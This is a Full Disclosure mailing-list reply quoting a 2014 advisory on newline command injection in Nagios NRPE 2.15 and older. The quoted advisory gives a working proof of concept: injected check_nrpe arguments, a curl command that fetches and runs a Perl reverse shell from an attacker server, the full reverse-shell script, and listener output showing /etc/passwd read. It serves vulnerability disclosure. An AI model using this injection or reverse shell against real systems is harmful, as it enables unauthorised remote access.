Message-ID: <53506432.5020601@sighalt.de>
Date: Fri, 18 Apr 2014 01:30:58 +0200
From: Jakob Rößler <roessler@...halt.de>
To: fulldisclosure@...lists.org
Subject: Re: [FD] NRPE - Nagios Remote Plugin Executor <= 2.15 Remote
 Command Execution

I am very sorry to inform you, that this one is a very old hat...

Taken from the /etc/nagios/nrpe.conf:

	# ONLY change this if you exactly know what you are doing!
	# this enabled arguments, which can be appended to checks
	# Enabling this is a HIGH security risk, and should only
	# be done in certain environments!
	#dont_blame_nrpe=0
	#dont_blame_nrpe=1

Kind regards

Jakob


Am 17.04.2014 22:48, schrieb golunski:
>
> =============================================
> - Release date: 17.04.2014
> - Discovered by: Dawid Golunski
> - Severity: High
> =============================================
>
>
> I. VULNERABILITY
> -------------------------
>
> NRPE - Nagios Remote Plugin Executor  <= 2.15 Remote Command Execution
>
>
> II. BACKGROUND
> -------------------------
>
> Nagios is an open source computer system monitoring, network monitoring and
> infrastructure monitoring software application. Nagios offers monitoring and
> alerting services for servers, switches, applications, and services.
> It alerts the users when things go wrong and alerts them a second time when
> the problem has been resolved.
>
> The NRPE (Nagios Remote Plugin Executor) addon is designed to allow you to
> execute Nagios plugins on remote Linux/Unix machines.
> The main reason for doing this is to allow Nagios to monitor "local" resources
> (like CPU load, memory usage, etc.) on remote machines. Since these public
> resources are not usually exposed to external machines, an agent like NRPE must
> be installed on the remote Linux/Unix machines.
>
>
>
> III. INTRODUCTION
> -------------------------
>
> Nagios Remote Plugin Executor (NRPE) contains a vulnerability that could
> allow an attacker to remotely inject and execute arbitrary code on the host
> under NRPE account (typically 'nagios').
> The vulnerability is due to NRPE not properly sanitizing user input before
> passing it to a command shell as a part of a configured command.
> In order for an attacker to take advantage of the host NRPE must be compiled
> and configured with command arguments.
> No authentication is required to exploit this vulnerability if the NRPE port
> has not been protected with a firewall.
>
> IV. DESCRIPTION
> -------------------------
>
>
> NRPE expects definitions of commands in nrpe.cfg config file. Some of the
> examples given in the config with hardcoded arguments are:
>
> command[check_users]=/usr/local/nagios/libexec/check_users -w 5 -c 10
> command[check_load]=/usr/local/nagios/libexec/check_load -w 15,10,5 -c 30,25,20
> command[check_hda1]=/usr/local/nagios/libexec/check_disk -w 20% -c 10% -p /dev/hda1
>
> when command arguments are enabled then user is also allowed to define
> commands with variables like:
>
> command[check_users]=/usr/local/nagios/libexec/check_users -w $ARG1$ -c $ARG2$
> command[check_disk]=/usr/local/nagios/libexec/check_disk -w $ARG1$ -c $ARG2$ -p $ARG3$
>
> This is often suggested for convenience in various nagios/nrpe setup tutorials
> on the web.
>
>
> To get a result from a defined command in NRPE daemon the following nrpe client
> can be used with -a option that passes arguments:
>
> # /usr/local/nagios/libexec/check_nrpe  -H 10.10.10.5 -c check_users -a 4 4
>
> USERS OK - 4 users currently logged in |users=4;4;4;0
>
>
> in case check_users command was defined with arguments as shown above
> NRPE would execute:
>
> /usr/local/nagios/libexec/check_users -w 4 -c 4
>
> on the local system.
>
>
> As we can find in the source code of nrpe-2.15/src/nrpe.c NRPE daemon uses popen() function for
> command execution:
>
> /* executes a system command via popen(), but protects against timeouts */
> int my_system(char *command,int timeout,int *early_timeout,char *output,int output_length){
> ----cut----
>                  /* run the command */
>                  fp=popen(command,"r");
>
>
> using popen() results in the command being executed with the help of a command shell.
>
> Before this function is reached however NRPE takes several measures to prevent
> malicious command injection to the shell. That includes filtration based on a blacklist:
>
> #define NASTY_METACHARS         "|`&><'\"\\[]{};"
>
> /* make sure request doesn't contain nasties */
> if(contains_nasty_metachars(pkt->buffer)==TRUE){
> 	syslog(LOG_ERR,"Error: Request contained illegal metachars!");
>
> that prevents bash special characters like semicolon, pipe etc.
>
> The code is also making sure that arguments do not contain bash command substitution
> i.e. $(ps aux)
>
> if(strstr(macro_argv[x],"$(")) {
> 	syslog(LOG_ERR,"Error: Request contained a bash command substitution!");
> 	return ERROR;
>
>
> Despite these checks the code is vulnerable to command injection as bash shell allows
> for multiple command execution if commands are separated by a new line.
> None of the checks examines the arguments for an occurrence of a new line character: 0x0A
>
>
> V. PROOF OF CONCEPT
> -------------------------
>
> To execute an arbitrary command an attacker could simply add a new line character after
> a parameter and follow it with his own command.
>
> To run touch /tmp/vulntest command an attacker could use the check_nrpe client with arguments:
>
> # /usr/local/nagios/libexec/check_nrpe  -H 10.10.10.5 -c check_users -a "`echo -e "\x0a touch /tmp/vulntest "` #" 4
>
> which make NRPE daemon run the following series of commands:
>
> /usr/local/nagios/libexec/check_users -w <new_line>
> touch /tmp/vulntest
> # -c 4
>
> and a file /tmp/vulntest would be created with nagios user as the owner. The hash character is to comment
> out the the rest of the arguments.
>
>
> An attacker gets a limited set of commands as most of the metacharacters are prohibited by the
> blacklist. So for example it's difficult to create new files in the system without using > symbol etc.
>
> An attacker could however download a snippet of perl/python etc. code from the web by using wget or
> curl command and get a reverse shell. This would allow unrestricted access to the command line:
>
> ---------[revshell.pl on attackers-server]---------
>
> #!/usr/bin/perl
>
> use Socket;
>
> #attackers ip to connect back to
> $i="10.10.10.40";
>
> $p=8080;
>
> socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
>
> if(connect(S,sockaddr_in($p,inet_aton($i))))
>
> {
> 	open(STDIN,">&S");
> 	open(STDOUT,">&S");
> 	open(STDERR,">&S");
> 	exec("/bin/sh -i");
> }
> --------------------------------------------------
>
> /usr/local/nagios/libexec/check_nrpe  -H 10.10.10.5 -c check_users -a "`echo -e "\x0a curl -o /tmp/tmp_revshell http://attackers-server/revshell.pl \x0a perl /tmp/tmp_revshell # "` 4 "
>
>
>
> [attacker@...10.10.40 ]# nc -v -l 8080
> Connection from 10.10.10.5 port 8080 [tcp/ddi-tcp-1] accepted
> sh-4.1$ id
> uid=501(nagios) gid=501(nagios) groups=501(nagios),502(nagcmd)
> sh-4.1$
> sh-4.1$ cat /etc/passwd | head -n 4 ; pwd
> root:x:0:0:root:/root:/bin/bash
> bin:x:1:1:bin:/bin:/sbin/nologin
> daemon:x:2:2:daemon:/sbin:/sbin/nologin
> adm:x:3:4:adm:/var/adm:/sbin/nologin
> /
> sh-4.1$ ls -l /tmp/tmp_revshell
> -rw-rw-r-- 1 nagios nagios 269 Apr 17 05:14 /tmp/tmp_revshell
> sh-4.1$ rm -f /tmp/tmp_revshell
>
>
>
> VI. BUSINESS IMPACT
> -------------------------
>
> An attacker could exploit the vulnerability to gain access to the system
> in the context of a nagios user this could lead to further compromise
> of the server.
>
> VII. SYSTEMS AFFECTED
> -------------------------
>
> Current version of NRPE 2.15 and older are vulnerable.
>
> VIII. SOLUTION
> -------------------------
>
> Disable command arguments if possible.
> Protect access to NRPE port and only allow access from a trusted
> nagios server.
> Install updated version of NRPE when it becomes available.
>
> IX. REFERENCES
> -------------------------
>
> http://www.nagios.org
> http://sourceforge.net/projects/nagios/files/nrpe-2.x/
> http://exchange.nagios.org/directory/Addons/Monitoring-Agents/NRPE--2D-Nagios-Remote-Plugin-Executor/details
> http://legalhackers.com/advisories/nagios-nrpe.txt
>
> X. CREDITS
> -------------------------
>
> The vulnerability has been discovered by Dawid Golunski
> dawid (at) legalhackers (dot) com
> http://legalhackers.com
>
> XI. REVISION HISTORY
> -------------------------
>
> April 17th, 2014:  Advisory created
>
> XII. LEGAL NOTICES
> -------------------------
>
> The information contained within this advisory is supplied "as-is" with
> no warranties or guarantees of fitness of use or otherwise. I accept no
> responsibility for any damage caused by the use or misuse of this information.
>
>
>
>
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>

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